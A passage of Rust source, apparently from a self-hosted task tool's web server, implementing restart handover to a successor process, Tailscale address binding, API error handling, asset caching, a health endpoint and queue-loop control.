1470impl TalkTurnGuard {
1471 fn owns(&self) -> bool {
1475 self.lease
1476 .as_ref()
1477 .is_none_or(|lease| !matches!(lease.beat(), Ok(false)))
1478 }
1479
1480 async fn respond(
1483 &self,
1484 talk: &mut Talk,
1485 talks: &Talks,
1486 cfg: &Config,
1487 text: &str,
1488 ) -> anyhow::Result<()> {
1489 let lease = self
1490 .lease
1491 .as_ref()
1492 .context("the turn guard no longer holds its lease")?;
1493 talk::respond(lease, talk, talks, cfg, text).await
1494 }
1495
1496 fn release(mut self, live: &mut TalkTurns) {
1499 self.lease = None;
1503 live.live.remove(&self.talk);
1504 live.queued.remove(&self.talk);
1505 self.released = true;
1506 }
1507}
1508
1509impl Drop for TalkTurnGuard {
1510 fn drop(&mut self) {
1511 if self.released {
1512 return;
1513 }
1514 drop(self.lease.take());
1516 if let Ok(mut live) = self.turns.lock() {
1517 live.live.remove(&self.talk);
1518 live.queued.remove(&self.talk);
1519 }
1520 }
1521}
1522
1523struct ResumeGuard {
1525 run: String,
1526 resuming: Arc<Mutex<HashSet<String>>>,
1527}
1528
1529impl Drop for ResumeGuard {
1530 fn drop(&mut self) {
1531 if let Ok(mut live) = self.resuming.lock() {
1532 live.remove(&self.run);
1533 }
1534 }
1535}
1536
1537async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
1547 const WINDOW: Duration = Duration::from_secs(10);
1548 const GAP: Duration = Duration::from_millis(250);
1549
1550 let deadline = std::time::Instant::now() + WINDOW;
1551 let mut said = false;
1552 loop {
1553 match tokio::net::TcpListener::bind(socket).await {
1554 Ok(listener) => return Ok(listener),
1555 Err(e)
1556 if e.kind() == std::io::ErrorKind::AddrInUse
1557 && std::time::Instant::now() < deadline =>
1558 {
1559 if !said {
1560 said = true;
1561 tracing::info!(
1562 "{socket} is still held - waiting up to {}s for it, \
1563 which is what a restart looks like from here",
1564 WINDOW.as_secs()
1565 );
1566 }
1567 tokio::time::sleep(GAP).await;
1568 }
1569 Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
1570 }
1571 }
1572}
1573
1574static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
1577
1578const RESUME_LOOP_ENV: &str = "MAGI_WEB_RESUME_LOOP";
1580
1581fn resume_requested(value: Option<std::ffi::OsString>) -> bool {
1583 value.is_some_and(|v| v == "1")
1584}
1585
1586fn spawn_successor(home: &FsPath, resume: bool) -> Result<u32> {
1609 let exe = std::env::current_exe().context("find this binary")?;
1610 let args: Vec<String> = std::env::args().skip(1).collect();
1611 updater::log_step(
1612 home,
1613 &format!("restarting: {} {}", exe.display(), args.join(" ")),
1614 );
1615 let log_path = home.join(WEB_LOG);
1616 let open_log = || {
1617 std::fs::create_dir_all(home)?;
1618 std::fs::OpenOptions::new()
1619 .create(true)
1620 .append(true)
1621 .open(&log_path)
1622 };
1623 let (out, err) = match open_log().and_then(|f| Ok((f.try_clone()?, f))) {
1624 Ok(pair) => (
1625 std::process::Stdio::from(pair.0),
1626 std::process::Stdio::from(pair.1),
1627 ),
1628 Err(e) => {
1629 updater::log_warn(
1630 home,
1631 &format!(
1632 "could not open {}: {e}; the successor logs nowhere",
1633 log_path.display()
1634 ),
1635 );
1636 (std::process::Stdio::null(), std::process::Stdio::null())
1637 }
1638 };
1639
1640 let mut cmd = std::process::Command::new(&exe);
1641 if resume {
1642 cmd.env(RESUME_LOOP_ENV, "1");
1643 } else {
1644 cmd.env_remove(RESUME_LOOP_ENV);
1645 }
1646 cmd.args(&args)
1647 .stdin(std::process::Stdio::null())
1648 .stdout(out)
1649 .stderr(err);
1650 #[cfg(windows)]
1651 {
1652 use std::os::windows::process::CommandExt as _;
1653 cmd.creation_flags(0x0000_0008 | 0x0000_0200);
1656 }
1657 let child = cmd.spawn().context("start the successor")?;
1658 Ok(child.id())
1659}
1660
1661const WEB_LOG: &str = "web.log";
1663
1664async fn wait_for_handover(signal: &Notify) {
1668 signal.notified().await;
1669}
1670
1671pub async fn serve(opts: Opts) -> Result<()> {
1696 let (addr, warning) = resolve_bind(&opts.bind);
1697 if let Some(warning) = warning {
1698 tracing::warn!("{warning}");
1699 }
1700
1701 report::set_color(false);
1707
1708 let repo = normalize_default_repo(opts.repo).await;
1709 let ui = Ui::open(repo).with_merge(opts.merge);
1710 let home = ui.home.clone();
1715 let repo = ui.repo.clone();
1716 updater::reconcile_after_restart(&home);
1721 updater::log_step(
1722 &home,
1723 &format!(
1724 "web process started (version {}); handover log {}, successor output {}",
1725 env!("CARGO_PKG_VERSION"),
1726 updater::log_path(&home).display(),
1727 home.join(WEB_LOG).display()
1728 ),
1729 );
1730 updater::spawn_watchdog(home.clone());
1731 tokio::spawn(run_update_recheck(repo, home.clone()));
1740 let looping = ui.looping();
1741 let turns = ui.turns();
1742 let talk_store = ui.talks.clone();
1743 let socket = SocketAddr::new(addr, opts.port);
1744 let listener = bind_waiting(socket).await?;
1745 let url = format!("http://{addr}:{}", opts.port);
1746 tracing::info!(
1747 "magi web UI on {url} - there is no authentication, so anyone who can \
1748 reach this address can file and hold tasks: the tailnet is the \
1749 security boundary"
1750 );
1751 if ui.resume_after_handover(resume_requested(std::env::var_os(RESUME_LOOP_ENV))) {
1752 tracing::info!("resumed the loop the predecessor was running");
1753 } else {
1754 tracing::info!(
1755 "the queue loop is not running yet - start it from the UI, which is \
1756 the whole reason this process can: nothing in the queue moves until \
1757 something is running the loop"
1758 );
1759 }
1760 if opts.open {
1761 println!("{url}");
1765 }
1766
1767 let mut served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
1770 let interrupted = async {
1771 if tokio::signal::ctrl_c().await.is_err() {
1772 std::future::pending::<()>().await;
1777 }
1778 };
1779 let handover = wait_for_handover(&HANDOVER);
1780 let outcome = tokio::select! {
1781 joined = &mut served => match joined {
1782 Ok(outcome) => outcome.context("serve the web UI"),
1783 Err(e) => Err(e).context("the task serving the web UI ended"),
1784 },
1785 () = interrupted => {
1786 tracing::info!("shutting down the web UI");
1787 finish_loop(&home, &looping, None).await;
1788 Ok(())
1789 }
1790 () = handover => {
1791 updater::log_step(&home, "serve: the select! woke on the handover signal");
1792 let successor_home = home.clone();
1793 let wait_for = move |ids: &[String]| talk_wait_for(&talk_store, ids);
1794 hand_over(&home, &looping, &turns, &wait_for, served, move |resume| {
1795 spawn_successor(&successor_home, resume)
1796 })
1797 .await
1798 }
1799 };
1800 updater::log_step(
1801 &home,
1802 &match &outcome {
1803 Ok(()) => "serve: returning Ok; the process should exit now".to_owned(),
1804 Err(e) => format!("serve: returning an error: {e:#}"),
1805 },
1806 );
1807 outcome
1808}
1809
1810async fn normalize_default_repo(repo: PathBuf) -> PathBuf {
1831 if repo != FsPath::new(".") {
1832 return repo;
1833 }
1834 let Ok(canonical) = repo.canonicalize() else {
1835 return repo;
1836 };
1837 if git::toplevel(&canonical).await.is_ok() {
1838 return repo;
1839 }
1840 let Some(home) = dirs::home_dir() else {
1841 return repo;
1842 };
1843 match repos::discover_verified(&home, &[], None, updater::repo_name()).await {
1844 Some(found) => {
1845 tracing::info!(
1846 "the default --repo `.` ({}) is not a git checkout; using {} instead - {}",
1847 canonical.display(),
1848 found.path.display(),
1849 found.reason,
1850 );
1851 found.path
1852 }
1853 None => repo,
1854 }
1855}
1856
1857async fn hand_over(
1887 home: &FsPath,
1888 looping: &Mutex<LoopState>,
1889 turns: &Arc<Mutex<TalkTurns>>,
1890 talk_wait: &(dyn Fn(&[String]) -> Duration + Sync),
1891 served: tokio::task::JoinHandle<std::io::Result<()>>,
1892 successor: impl FnOnce(bool) -> Result<u32>,
1893) -> Result<()> {
1894 updater::log_step(home, "hand_over: entered; writing the parking stage");
1895 let (mut lease, recorded) = updater::LeaseGuard::enter_parking(home);
1899 if !recorded {
1900 updater::log_warn(
1901 home,
1902 "hand_over: upgrade.json is unreadable; no parking stage",
1903 );
1904 }
1905 finish_loop(home, looping, Some(&mut lease)).await;
1910 let parking = ParkingTurns::begin(turns);
1911 let talks_done = finish_talks(home, turns, talk_wait);
1912 tokio::pin!(talks_done);
1913 let mut beat = tokio::time::interval(LEASE_BEAT);
1914 let (abandoned, waited_for) = loop {
1915 tokio::select! {
1916 left = &mut talks_done => break left,
1917 _ = beat.tick() => lease.beat(),
1918 }
1919 };
1920 drop(lease);
1921 updater::log_step(home, "hand_over: releasing the listener (abort and await)");
1922 served.abort();
1923 let _ = served.await;
1924 updater::log_step(home, "hand_over: listener released");
1925 let resume = lock_or_recover(looping).resume_after_handover;
1928 match updater::read_progress(home) {
1929 Some(mut progress) => {
1930 progress.advance(updater::Stage::Restarting);
1931 if !abandoned.is_empty() {
1932 progress.detail = Some(format!(
1933 "handed over while {} still running after {} s",
1934 updater::talks_phrase(&abandoned),
1935 waited_for.as_secs()
1936 ));
1937 }
1938 updater::write_progress_logged(home, &progress);
1939 }
1940 None => updater::log_warn(
1941 home,
1942 "hand_over: upgrade.json is unreadable; no restarting stage",
1943 ),
1944 }
1945 updater::log_step(
1946 home,
1947 &format!("hand_over: starting the successor (resume={resume})"),
1948 );
1949 drop(parking);
1950 match successor(resume) {
1951 Ok(pid) => {
1952 updater::log_step(home, &format!("hand_over: successor started, pid {pid}"));
1953 Ok(())
1954 }
1955 Err(e) => {
1956 updater::log_warn(
1957 home,
1958 &format!("hand_over: the successor did not start: {e:#}"),
1959 );
1960 Err(e)
1961 }
1962 }
1963}
1964
1965const TALK_PARK_GRACE: Duration = Duration::from_secs(60);
1968
1969const TALK_POLL: Duration = Duration::from_millis(250);
1971
1972fn talk_wait_bound(timeout_talk_secs: u64) -> Duration {
1975 Duration::from_secs(timeout_talk_secs) + TALK_PARK_GRACE
1976}
1977
1978fn talk_wait_for(talks: &Talks, ids: &[String]) -> Duration {
1983 let default = Config::default().graph.timeout_talk;
1984 let longest = ids
1985 .iter()
1986 .map(|id| {
1987 talks
1988 .get(id)
1989 .ok()
1990 .and_then(|t| Config::discover(&t.repo, None).ok())
1991 .map_or(default, |(c, _)| c.graph.timeout_talk)
1992 })
1993 .max()
1994 .unwrap_or(default);
1995 talk_wait_bound(longest)
1996}
1997
1998struct ParkingTurns(Arc<Mutex<TalkTurns>>);
2002
2003impl ParkingTurns {
2004 fn begin(turns: &Arc<Mutex<TalkTurns>>) -> Self {
2005 turns.lock().unwrap_or_else(PoisonError::into_inner).parking = true;
2006 Self(Arc::clone(turns))
2007 }
2008}
2009
2010impl Drop for ParkingTurns {
2011 fn drop(&mut self) {
2012 self.0
2013 .lock()
2014 .unwrap_or_else(PoisonError::into_inner)
2015 .parking = false;
2016 }
2017}
2018
2019async fn finish_talks(
2024 home: &FsPath,
2025 turns: &Mutex<TalkTurns>,
2026 bound_for: &(dyn Fn(&[String]) -> Duration + Sync),
2027) -> (Vec<String>, Duration) {
2028 let running = || {
2029 let mut ids: Vec<String> = turns
2030 .lock()
2031 .unwrap_or_else(PoisonError::into_inner)
2032 .live
2033 .iter()
2034 .cloned()
2035 .collect();
2036 let talks = talk::Talks::at(home.join("talks"));
2039 for t in talks.list() {
2040 if talks.turn_held(&t.id) && !ids.contains(&t.id) {
2041 ids.push(t.id);
2042 }
2043 }
2044 ids.sort();
2045 ids
2046 };
2047 let started = std::time::Instant::now();
2048 let mut seen = Vec::new();
2049 let mut bound = Duration::ZERO;
2050 loop {
2051 let ids = running();
2052 if ids != seen {
2053 bound = bound.max(bound_for(&ids));
2054 if ids.is_empty() {
2055 updater::log_step(home, "finish_talks: no chat turn is running");
2056 } else {
2057 updater::log_step(
2058 home,
2059 &format!(
2060 "finish_talks: waiting for {} to finish",
2061 updater::talks_phrase(&ids)
2062 ),
2063 );
2064 }
2065 updater::set_parked_talks(home, &ids);
2066 seen = ids;
2067 }
2068 if seen.is_empty() {
2069 return (Vec::new(), bound);
2070 }
2071 if started.elapsed() >= bound {
2072 updater::log_warn(
2073 home,
2074 &format!(
2075 "finish_talks: {} still running after {} s; handing over anyway",
2076 updater::talks_phrase(&seen),
2077 bound.as_secs()
2078 ),
2079 );
2080 return (seen, bound);
2081 }
2082 tokio::time::sleep(TALK_POLL).await;
2083 }
2084}
2085
2086const LEASE_BEAT: Duration = Duration::from_secs(20);
2089
2090async fn finish_loop(
2097 home: &FsPath,
2098 state: &Mutex<LoopState>,
2099 mut lease: Option<&mut updater::LeaseGuard>,
2100) {
2101 let live = lock_or_recover(state).live.take();
2102 let Some(live) = live else {
2103 updater::log_step(home, "finish_loop: no loop running; nothing to wait for");
2104 return;
2105 };
2106 live.stop.stop();
2107 lock_or_recover(state).rev += 1;
2108 updater::log_step(
2109 home,
2110 "finish_loop: waiting for the loop to finish the run in flight",
2111 );
2112 let waited = std::time::Instant::now();
2113 let mut handle = live.handle;
2116 let mut beat = tokio::time::interval(LEASE_BEAT);
2117 loop {
2118 tokio::select! {
2119 _ = &mut handle => break,
2120 _ = beat.tick() => {
2121 if let Some(lease) = lease.as_deref_mut() {
2122 lease.beat();
2123 }
2124 }
2125 }
2126 }
2127 updater::log_step(
2128 home,
2129 &format!(
2130 "finish_loop: the loop ended after {:.1}s",
2131 waited.elapsed().as_secs_f32()
2132 ),
2133 );
2134}
2135
2136pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
2142 match bind {
2143 Bind::Addr(addr) => (*addr, None),
2144 Bind::Auto => match tailscale_ip() {
2145 Ok(ip) => (IpAddr::V4(ip), None),
2146 Err(why) => (
2147 IpAddr::V4(Ipv4Addr::LOCALHOST),
2148 Some(format!(
2149 "--bind auto fell back to 127.0.0.1: {why}. The UI is \
2150 local-only and a phone cannot reach it; start Tailscale \
2151 or pass --bind <addr>"
2152 )),
2153 ),
2154 },
2155 }
2156}
2157
2158fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
2166 let out = std::process::Command::new("tailscale")
2167 .args(["ip", "-4"])
2168 .quiet()
2169 .output()
2170 .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
2171 if !out.status.success() {
2172 let why = String::from_utf8_lossy(&out.stderr);
2173 let why = why.trim();
2174 return Err(format!(
2175 "`tailscale ip -4` failed ({}){}",
2176 out.status,
2177 if why.is_empty() {
2178 String::new()
2179 } else {
2180 format!(": {why}")
2181 }
2182 ));
2183 }
2184 String::from_utf8_lossy(&out.stdout)
2185 .lines()
2186 .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
2187 .find(is_tailnet)
2188 .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
2189}
2190
2191fn is_tailnet(ip: &Ipv4Addr) -> bool {
2193 let o = ip.octets();
2194 o[0] == 100 && (64..=127).contains(&o[1])
2195}
2196
2197type ApiResult<T> = std::result::Result<T, ApiError>;
2201
2202#[derive(Debug)]
2204struct ApiError {
2205 status: StatusCode,
2206 message: String,
2207 text_reason: Option<crate::question_delivery::UnavailableReason>,
2208}
2209
2210impl ApiError {
2211 fn bad_request(message: impl Into<String>) -> Self {
2213 Self {
2214 text_reason: None,
2215 status: StatusCode::BAD_REQUEST,
2216 message: message.into(),
2217 }
2218 }
2219
2220 fn not_found(message: impl Into<String>) -> Self {
2222 Self {
2223 text_reason: None,
2224 status: StatusCode::NOT_FOUND,
2225 message: message.into(),
2226 }
2227 }
2228
2229 fn with_status(mut self, status: StatusCode) -> Self {
2232 self.status = status;
2233 self
2234 }
2235
2236 fn bad_request_from(e: anyhow::Error) -> Self {
2240 Self::bad_request(format!("{e:#}"))
2241 }
2242
2243 fn conflict(message: impl Into<String>) -> Self {
2244 Self {
2245 text_reason: None,
2246 status: StatusCode::CONFLICT,
2247 message: message.into(),
2248 }
2249 }
2250
2251 fn internal(message: impl Into<String>) -> Self {
2253 Self {
2254 text_reason: None,
2255 status: StatusCode::INTERNAL_SERVER_ERROR,
2256 message: message.into(),
2257 }
2258 }
2259}
2260
2261impl From<anyhow::Error> for ApiError {
2262 fn from(e: anyhow::Error) -> Self {
2267 Self::internal(format!("{e:#}"))
2268 }
2269}
2270
2271impl IntoResponse for ApiError {
2272 fn into_response(self) -> Response {
2273 let mut body = serde_json::json!({ "error": self.message });
2274 if let Some(reason) = self.text_reason {
2275 body["code"] = serde_json::json!("question_text_unavailable");
2276 body["reason"] = serde_json::json!(reason);
2277 }
2278 (self.status, Json(body)).into_response()
2279 }
2280}
2281
2282async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
2291where
2292 T: Send + 'static,
2293{
2294 #[cfg(test)]
2295 let job = request_cost::carry(job);
2296 match tokio::task::spawn_blocking(job).await {
2297 Ok(result) => result,
2298 Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
2299 }
2300}
2301
2302const ASSET_CACHE: &str = "no-cache, must-revalidate";
2320
2321fn asset_etag() -> &'static str {
2328 static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
2329 format!(
2330 "\"{}-{}\"",
2331 env!("CARGO_PKG_VERSION"),
2332 INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
2337 )
2338 });
2339 &TAG
2340}
2341
2342fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
2344 [
2345 (header::CONTENT_TYPE, mime),
2346 (header::CACHE_CONTROL, ASSET_CACHE),
2347 (header::ETAG, asset_etag()),
2348 ]
2349}
2350
2351fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
2359 let tag = asset_etag();
2360 let known = headers
2361 .get(header::IF_NONE_MATCH)
2362 .and_then(|v| v.to_str().ok())
2363 .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
2367 if known {
2368 return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
2369 }
2370 (asset_headers(mime), body).into_response()
2371}
2372
2373async fn index(headers: header::HeaderMap) -> Response {
2374 asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
2375}
2376
2377async fn app_css(headers: header::HeaderMap) -> Response {
2378 asset(&headers, "text/css; charset=utf-8", APP_CSS)
2379}
2380
2381async fn app_js(headers: header::HeaderMap) -> Response {
2382 asset(&headers, "text/javascript; charset=utf-8", APP_JS)
2383}
2384
2385#[derive(Debug, Serialize)]
2387struct HealthView {
2388 version: &'static str,
2389 home: String,
2390 queue_rev: u64,
2391 runs_rev: u64,
2392 questions_rev: u64,
2404 talks_rev: u64,
2406 notifications_rev: u64,
2408 notifications_unread: usize,
2411 loop_rev: u64,
2416 runs_unreadable: usize,
2424 disk: DiskView,
2432 questions_open: usize,
2438 questions_needs_owner: usize,
2448 daemon: DaemonView,
2449 #[serde(rename = "loop")]
2455 looping: LoopView,
2456 update: UpdateView,
2463 upgrade: Option<UpgradeProgressView>,
2467 upgrade_request_error: Option<UpgradeRequestFailure>,
2468}
2469
2470#[derive(Debug, Serialize)]
2477struct UpdateView {
2478 available: bool,
2480 to: Option<String>,
2482}
2483
2484#[derive(Debug, Serialize)]
2486struct UpgradeProgressView {
2487 stage: updater::Stage,
2488 from: String,
2489 to: Option<String>,
2490 waiting_on: Option<String>,
2493 started_at: Timestamp,
2494 updated_at: Timestamp,
2495 detail: Option<String>,
2496 stuck_for_secs: Option<i64>,
2499 stuck_kind: Option<updater::StallKind>,
2502 handover_alive: bool,
2505}
2506
2507fn should_spawn_recheck(cfg: &Update) -> bool {
2514 cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
2515}
2516
2517fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
2529 if progress.is_some_and(|p| !p.stage.terminal()) {
2530 return false;
2531 }
2532 checker.should_check()
2533}
2534
2535fn recheck_poll_period(cfg: &Update) -> Duration {
2548 (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
2549}
2550
2551async fn run_update_recheck(repo: PathBuf, home: PathBuf) {
2575 loop {
2576 let (cfg, _) = Config::discover(&repo, None).unwrap_or_default();
2577 tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
2578 if !should_spawn_recheck(&cfg.update) {
2579 continue;
2580 }
2581 let Some(checker) = updater::Checker::new(&cfg.update) else {
2582 continue;
2583 };
2584 let progress = updater::read_progress(&home);
2585 if !update_recheck_due(&checker, progress.as_ref()) {
2586 continue;
2587 }
2588 if let Err(e) = checker.newer_release().await {
2589 tracing::warn!("background update recheck failed: {e:#}");
2590 }
2591 }
2592}
2593
2594fn cached_update_view(cfg: Option<&Config>) -> UpdateView {
2600 let default;
2601 let cfg = match cfg {
2602 Some(cfg) => cfg,
2603 None => {
2604 default = Config::default();
2605 &default
2606 }
2607 };
2608 let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
2609 match latest {
2610 Some(latest) => UpdateView {
2611 available: true,
2612 to: Some(latest.tag_name),
2613 },
2614 None => UpdateView {
2615 available: false,
2616 to: None,
2617 },
2618 }
2619}
2620
2621fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
2627 let now = Timestamp::now();
2628 let lease = updater::read_lease(&ui.home);
2629 let alive = updater::live_lease(&progress, lease.as_ref(), now);
2630 let run_id = alive
2631 .and_then(|l| l.parked_run.as_deref())
2632 .or(progress.parked_run.as_deref());
2633 let parking = progress.stage == updater::Stage::Parking;
2634 let waited = alive.map_or_else(String::new, |l| {
2635 let secs = updater::waited_secs(l, now);
2636 format!(" (waited {} min so far)", secs / 60)
2637 });
2638 let run_text = run_id
2639 .filter(|_| parking)
2640 .map(|id| match read_run(&ui.runs, id).ok() {
2641 Some(run) => format!("run {} is finishing {}", run.short(), run.status.as_str()),
2642 None => format!("run {id} is finishing"),
2643 });
2644 let talks_text = Some(updater::talks_phrase(&progress.parked_talks))
2645 .filter(|t| parking && !t.is_empty())
2646 .map(|t| format!("{t} finishing"));
2647 let waiting_on = match (run_text, talks_text) {
2648 (None, None) => None,
2649 (run, talks) => {
2650 let parts: Vec<String> = [run, talks].into_iter().flatten().collect();
2651 Some(format!(
2652 "{} before the address is handed over{waited}",
2653 parts.join(" and ")
2654 ))
2655 }
2656 };
2657 let detail = progress
2658 .detail
2659 .clone()
2660 .or_else(|| updater::read_note(&ui.home, &progress));
2661 let stalled = updater::stall(&progress, lease.as_ref(), now);
2662 let waiting_on = waiting_on.or_else(|| stalled.as_ref().map(|s| s.waiting_on.clone()));
2663 UpgradeProgressView {
2664 stuck_for_secs: stalled.as_ref().map(|s| s.age_secs),
2665 stuck_kind: stalled.map(|s| s.kind),
2666 handover_alive: alive.is_some(),
2667 stage: progress.stage,
2668 from: progress.from,
2669 to: progress.to,
2670 waiting_on,
2671 started_at: progress.started_at,
2672 updated_at: progress.updated_at,
2673 detail,
2674 }
2675}
2676
2677#[derive(Debug, Serialize)]
2682struct DiskView {
2683 #[serde(skip_serializing_if = "Option::is_none")]
2685 free_bytes: Option<u64>,
2686 runs_bytes: u64,
2688 worktrees_bytes: u64,
2690 #[serde(skip_serializing_if = "Option::is_none")]
2692 cache_bytes: Option<u64>,
2693}
2694
2695impl DiskView {
2696 fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
2698 let cache_bytes = cfg
2699 .and_then(|cfg| cfg.cache_dir())
2700 .map(|dir| crate::disk::dir_size(&dir));
2701 Self {
2702 free_bytes: crate::disk::free_bytes(&ui.runs).ok(),
2703 runs_bytes: crate::disk::dir_size(&ui.runs),
2704 worktrees_bytes: crate::disk::dir_size(&ui.worktrees_root),
2705 cache_bytes,
2706 }
2707 }
2708}
2709
2710#[derive(Debug, Serialize)]
2712struct DaemonView {
2713 running: bool,
2714 idle: Option<bool>,
2715 pid: Option<u32>,
2716 current: Vec<daemon::Current>,
2720 completed: Option<u64>,
2721 stale_for_secs: Option<i64>,
2722}
2723
2724impl DaemonView {
2725 fn of(status: Option<daemon::Reading>) -> Self {
2729 let Some(status) = status else {
2730 return Self {
2731 running: false,
2732 idle: None,
2733 pid: None,
2734 current: Vec::new(),
2735 completed: None,
2736 stale_for_secs: None,
2737 };
2738 };
2739 let now = Timestamp::now();
2740 let age = status.age_secs(now);
2741 Self {
2742 running: status.running(now),
2743 idle: Some(status.idle),
2744 pid: status.pid,
2745 current: status.current,
2746 completed: Some(status.completed),
2747 stale_for_secs: age,
2748 }
2749 }
2750}
2751
2752async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
2753 let revisions = ui.monitor.revisions(&ui).await?;
2754 blocking(move || {
2755 let reading = daemon::read_status(&ui.home);
2759 let loop_rev = ui.lock_loop().rev;
2763 let cfg = deputy_config(&ui.repo);
2766 let update = cached_update_view(cfg.as_ref());
2767 let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
2768 let questions = ui.questions.list();
2769 Ok(Json(HealthView {
2770 version: env!("CARGO_PKG_VERSION"),
2771 home: ui.home.display().to_string(),
2772 queue_rev: revisions.0,
2773 runs_rev: revisions.1,
2774 questions_rev: revisions.2,
2775 talks_rev: revisions.3,
2776 notifications_rev: stamps_revision(
2777 &try_stamps(ui.notices.root(), false, true).map_err(anyhow::Error::from)?,
2778 ),
2779 notifications_unread: ui.notices.count_unread(),
2780 loop_rev,
2781 runs_unreadable: runs_unreadable(&ui.runs),
2782 questions_open: questions.iter().filter(|q| q.status.open()).count(),
2783 questions_needs_owner: questions
2784 .iter()
2785 .filter(|q| {
2786 q.status.open() && (!q.waiting_on_agent() || ui.questions.deputy_exhausted(q))
2787 })
2788 .count(),
2789 daemon: DaemonView::of(reading.clone()),
2790 looping: ui.loop_view(reading),
2791 disk: DiskView::of(&ui, cfg.as_ref()),
2792 update,
2793 upgrade,
2794 upgrade_request_error: ui
2795 .upgrade_request_error
2796 .lock()
2797 .unwrap_or_else(PoisonError::into_inner)
2798 .clone(),
2799 }))
2800 })
2801 .await
2802}
2803
2804#[derive(Debug, Serialize)]
2806struct LoopView {
2807 running: bool,
2809 stopping: bool,
2817 parking: bool,
2825 owned: bool,
2833 repo: String,
2836 merge: Option<String>,
2839 last_error: Option<String>,
2847 daemon: DaemonView,
2850}
2851
2852#[derive(Debug, Clone, Copy)]
2861struct Foreign {
2862 pid: Option<u32>,
2864}
2865
2866impl Foreign {
2867 fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
2870 daemon::foreign_loop(reading, Timestamp::now(), std::process::id()).map(|pid| Self { pid })
2874 }
2875
2876 fn who(&self) -> String {
2879 match self.pid {
2880 Some(pid) => format!("another magi process (pid {pid})"),
2881 None => "another magi process".to_owned(),
2882 }
2883 }
2884}
2885
2886type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
2891
2892fn launch_daemon(
2894 opts: daemon::Opts,
2895 stop: daemon::Stop,
2896) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
2897 Box::pin(daemon::serve_until(opts, stop))
2898}
2899
2900#[derive(Debug, Default)]
2902struct LoopState {
2903 live: Option<Live>,
2905 rev: u64,
2913 last_error: Option<String>,
2916 resume_after_handover: bool,
2921}
2922
2923#[derive(Debug)]
2925struct Live {
2926 stop: daemon::Stop,
2928 handle: tokio::task::JoinHandle<()>,
2933 opts: daemon::Opts,
2937}
2938
2939impl Live {
2940 fn alive(&self) -> bool {
2942 !self.handle.is_finished()
2943 }
2944}
2945
2946fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
2953 state.lock().unwrap_or_else(PoisonError::into_inner)
2954}
2955
2956async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
2958 blocking(move || {
2959 let reading = daemon::read_status(&ui.home);
2960 Ok(Json(ui.loop_view(reading)))
2961 })
2962 .await
2963}
2964
2965#[derive(Debug, Deserialize)]
2971#[serde(deny_unknown_fields)]
2972struct LoopCommand {
2973 running: bool,
2974 #[serde(default)]
2984 park: bool,
2985}
2986
2987async fn loop_post(
2995 State(ui): State<Arc<Ui>>,
2996 body: std::result::Result<Json<LoopCommand>, JsonRejection>,
2997) -> ApiResult<Json<LoopView>> {
2998 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3001 blocking(move || {
3002 let reading = daemon::read_status(&ui.home);
3003 let foreign = Foreign::of(reading.as_ref());
3004 if body.running {
3005 ui.start_loop(foreign)?;
3006 } else {
3007 ui.stop_loop(foreign, body.park)?;
3008 }
3009 Ok(Json(ui.loop_view(reading)))
3010 })
3011 .await
3012}
3013
3014#[derive(Debug, Serialize)]
3016struct UpgradeView {
3017 from: String,
3019 to: Option<String>,
3021 parked: Option<String>,
3023 detail: String,
3025}
3026
3027fn upgrade_in_motion(progress: Option<&updater::Progress>) -> Option<&updater::Progress> {
3030 progress.filter(|p| !p.stage.terminal())
3031}
3032
3033fn upgrade_retry_after(message: &str) -> Option<u64> {
3036 if !message.contains("GitHub") || !message.contains("rate limit") {
3037 return None;
3038 }
3039 if message.contains("retry now") {
3040 return Some(0);
3041 }
3042 let duration = message
3043 .split_once("resets in ")
3044 .or_else(|| message.split_once("retry after "))?
3045 .1
3046 .split_once(')')?
3047 .0;
3048 let mut rest = duration.trim();
3049 if rest.is_empty() {
3050 return None;
3051 }
3052 let mut total = 0u64;
3053 while !rest.is_empty() {
3054 let n = rest.find(|c: char| !c.is_ascii_digit())?;
3055 let amount: u64 = rest[..n].parse().ok()?;
3056 let scale = match rest[n..].chars().next()? {
3057 's' => 1,
3058 'm' => 60,
3059 'h' => 3600,
3060 'd' => 86400,
3061 _ => return None,
3062 };
3063 total = total.checked_add(amount.checked_mul(scale)?)?;
3064 rest = rest[n + 1..].trim_start();
3065 }
3066 Some(total)
3067}
3068
3069#[derive(Debug, Clone, Serialize)]
3070struct UpgradeRequestFailure {
3071 occurred_at: String,
3072 error: String,
3073 retry_after_secs: Option<u64>,
